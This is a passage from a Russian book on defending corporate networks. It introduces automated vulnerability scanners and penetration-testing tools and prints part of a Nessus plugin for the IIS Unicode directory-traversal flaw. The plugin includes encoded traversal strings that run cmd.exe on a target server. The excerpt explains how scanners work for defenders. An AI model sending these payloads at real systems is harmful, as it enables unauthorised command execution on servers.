Коллектив авторов - Защита от хакеров корпоративных сетей
Вопрос: Как можно узнать о работоспособности своей системы обнаружения вторжения? Ответ: Следует позаботиться о непрерывном аудите и тестировании сетевых систем, чтобы убедиться в их правильном использовании. Независимые рецензенты всегда должны рассматриваться как неотъемлемая часть системы безопасности. Тем самым будет гарантирован свежий взгляд, оценивающий сетевую архитектуру и реализацию системы обнаружения вторжения.
Глава 17 Обзор автоматизированных средств оценки безопасности
В этой главе обсуждаются следующие темы:
• Краткие сведения об автоматизированных средствах оценки безопасности
• Применение автоматизированных инструментальных средств для тестирования на проникновение
• Случаи, когда инструментальных средств недостаточно
· Резюме
· Конспект
· Часто задаваемые вопросы
Введение
На приобретение и настройку собственного набора сканеров безопасности может потребоваться время. Даже если читатель потратит достаточно много времени, то все равно может оказаться, что сканеры будут работать не так, как ему хотелось бы, и не предоставят ему всех возможностей, в которых он нуждается. Этот недостаток могут устранить интегрированные инструментальные средства. Некоторые из них относятся к классу коммерческих, а некоторые – распространяются свободно.
Автоматизированные инструментальные средства оценки безопасности делятся на две категории. Инструментальные средства первой категории пытаются идентифицировать уязвимости систем без их фактического использования, обрабатывая список известных уязвимостей, который иногда называют контрольным, или сигнатурным. Инструментальные средства первой категории имеют длительную историю использования. Многие производители программного обеспечения защиты информации предлагают такие средства. Обычно они называются инструментальными средствами оценки уязвимости, или удаленными сканерами уязвимости. Инструментальные средства второй категории предпринимают попытки воспользоваться прорехами в системе безопасности систем. В некоторых случаях для дальнейшего проникновения в сеть используется недавно скомпрометированная жертва. Это более новая категория инструментальных средств. Фактически об инструментальных средствах второй категории мало что известно. О них заявлено, но широким массам они пока не доступны. Инструментальные средства первой категории главным образом предназначены для администраторов безопасности, позволяя им оценить уязвимости своих сетей. Инструментальные средства, относящиеся ко второй категории, в основном предназначены для лиц, занимающихся тестированием на проникновение.
Подобные автоматизированные средства могут оказаться чрезвычайно полезными, особенно в случае необходимости проверить большое число хостов на наличие в них уязвимости. Конечно, рассматриваемые инструментальные средства не всесильны, и для интерпретации результатов их работы в конечном счете потребуется хорошо осведомленный человек. Как и любые другие системы, основанные на сравнении сигнатур, инструментальные средства первой категории подвержены как ложным срабатываниям (false positives), так и упущениям (false negatives). Во время выполнения теста на проникновение особенно неприятны ложные срабатывания. Умные действия тестировщика, его опыт, знание возможностей используемых инструментальных средств и правильная интерпретация результатов их работы могут стать решающими факторами для принятия правильного решения.
В этой главе будут рассмотрены некоторые коммерческие и свободно распространяемые инструментальные средства оценки безопасности и обсуждены их ближайшие перспективы.
Краткие сведения об автоматизированных средствах оценки безопасности
Функциональные возможности автоматизированных инструментальных средств оценки безопасности изменяются в очень широких пределах. Некоторые из них могут сканировать хосты, находясь вне сети и не требуя для своей работы необходимых учетных записей с параметрами доступа пользователя, сформированными после его успешной аутентификации. В то время как другие успешно сканируют хосты только в том случае, если они находятся внутри корпоративной сети и им предоставлены достаточные права (обычно права администратора или суперпользователя). Кроме того, некоторые инструментальные средства не в меру навязчивы из-за того, что они пытаются воспользоваться только что найденной уязвимостью. Другие скромны и пытаются идентифицировать уязвимые хосты, проверяя различные признаки, по которым можно судить об установке на хосте патчей (например, проверяют существование определенных файлов, установленных патчем производителя). Существует жюри, которое молчаливо отбирает лучшие инструментальные средства. О них можно узнать после прочтения изложенного ниже вложения «Автоматизированные инструментальные средства: обзор программ».
...Инструментарий и ловушки
Автоматизированные инструментальные средства: обзор программ
Ниже приведены ссылки на различные обзоры большого числа ныне доступных автоматизированных инструментальных средств. Большинство авторов обзоров сходится во мнении о том, что скрытно работающие, малозаметные инструментальные средства проверяют лишь наличие патчей, а не их эффективность. Это оправдано в тех случаях, когда патч не в полной мере решает проблему и поэтому проверка установки патча позволяет решить вопрос об уязвимости системы.
Читатель может найти обзоры рассматриваемых инструментальных средств по приведенным ниже адресам:
• сравнительный обзор обычно используемых сканеров www.nwc.com/1201/1201f1b1.html
• всесторонний обзор различных сканеров www.westcoast.com/securecomputing/2001_07/testc/prod2.html
• сравнительный обзор некоторых из наиболее популярных коммерческих сканеров www.infosecuritymag.com/articles/january01/features1.shtml
• обзор наиболее покупаемых автоматизированных инструментальных средств, подготовленный Info Security www.westcoast.com/asiapacific/articles/2000_07/testc/testc.html
• CyberCop Scanner 5.5 компании Network Associates (NAI) www.secadministrator.com/Articles/Index.cfm?ArticleID=9203
• NetRecon 3.0 компании Axent (ныне Symantec) www.secadministrator.com/Articles/Index.cfm?ArticleID=9204
• ISS Internet Scanner 6.1 www.secadministrator.com/Articles/Index.cfm?ArticleID=9205
• BindView HackerShield (ныне BV–Control for Internet Security) www.secadministrator.com/Articles/Index.cfm?ArticleID=9206
• Webtrends (ныне NetIQ) Scanner 3.0 www.secadministrator.com/Articles/Index.cfm?ArticleID=9207
Для тестирования каждого хоста инструментальные средства сканирования используют ряд проверок или просмотров сигнатур. Большинство коммерческих и свободно распространяемых сканеров поддерживают легкий для понимания и использования язык создания сценариев. Любой, кто хоть немного знаком с программированием, может понять алгоритм работы проверок и определить, что именно они ищут. Ниже показан пример реализации алгоритма сканирования в сканере Nessus – одном из свободно распространяемых сканеров. Сканирование выполняется с целью поиска хостов, не защищенных от атаки на информационный сервер Интернет с использованием его уязвимости под названием уязвимость обхода директорий (Internet Information Server(IIS) Directory Traversal Vulnerability – CVE ID 2000–0884).
Полная версия плагина (подключаемой программы plug-in) Nessus доступна на сайте http://cvs.nessus.org/cgi-bin/cvsweb.cgi/~checkout~/nessus-plugins/scripts/iis_dir_traversal.nasl.
script_description(english:desc[“english”]);
summary[“english”] = “Determines if arbitrary commands can
be executed thanks to IIS”;
script_summary(english:summary[“english”]);
script_category(ACT_GATHER_INFO);
script_copyright(english:“This script is Copyright (C) 2001
H D Moore”);
family[“english”] = “CGI abuses”;
script_family(english:family[“english”]);
script_dependencie(“find_service.nes”, “http_version.nasl”);
script_require_ports(“Services/www”, 80);
script_require_keys(“www/iis”);
exit(0);
}
port = get_kb_item(“Services/www”);
if(!port)port = 80;
dir[0] = “/scripts/”;
dir[1] = “/msadc/”;
dir[2] = “/iisadmpwd/”;
dir[3] = “/_vti_bin/”; # FP
dir[4] = “/_mem_bin/”; # FP
dir[5] = “/exchange/”; # OWA
dir[6] = “/pbserver/”; # Win2K
dir[7] = “/rpc/”; # Win2K
dir[8] = “/cgi-bin/”;
dir[9] = “/”;
uni[0] = “%c0%af”;
uni[1] = “%c0%9v”;
uni[2] = “%c1%c1”;
uni[3] = “%c0%qf”;
uni[4] = “%c1%8s”;
uni[5] = “%c1%9c”;
uni[6] = “%c1%pc”;
uni[7] = “%c1%1c”;
uni[8] = “%c0%2f”;
uni[9] = “%e0%80%af”;
function check(req)
{
soc = open_sock_tcp(port);
if(soc)
{
req = http_get(item:req, port:port);
send(socket:soc, data:req);
r = recv(socket:soc, length:1024);
close(soc);
pat = “
”;
pat2 = “Directory of C”;
if((pat >< r) || (pat2 >< r)){
security_hole(port:port);
return(1);
}
}
return(0);
}
cmd = “/winnt/system32/cmd.exe?/c+dir+c:\+/OG”;
for(d=0;dir[d];d=d+1)
{
for(u=0;uni[u];u=u+1)
{
url = string(dir[d], “..”, uni[u], “..”, uni[u], “..”,
uni[u], “..”, uni[u], “..”, uni[u], “..”, cmd);
if(check(req:url))exit(0);
}
}Как читатель может понять, программа проверки, написанная Муром (H D Moore) для сканера Nessus, активно попытается воспользоваться известной ей уязвимостью. В случае обнаружения уязвимого хоста будет послано сообщение. С другой стороны, программа может проверить ту же самую уязвимость путем простой проверки соответствующего ключа реестра: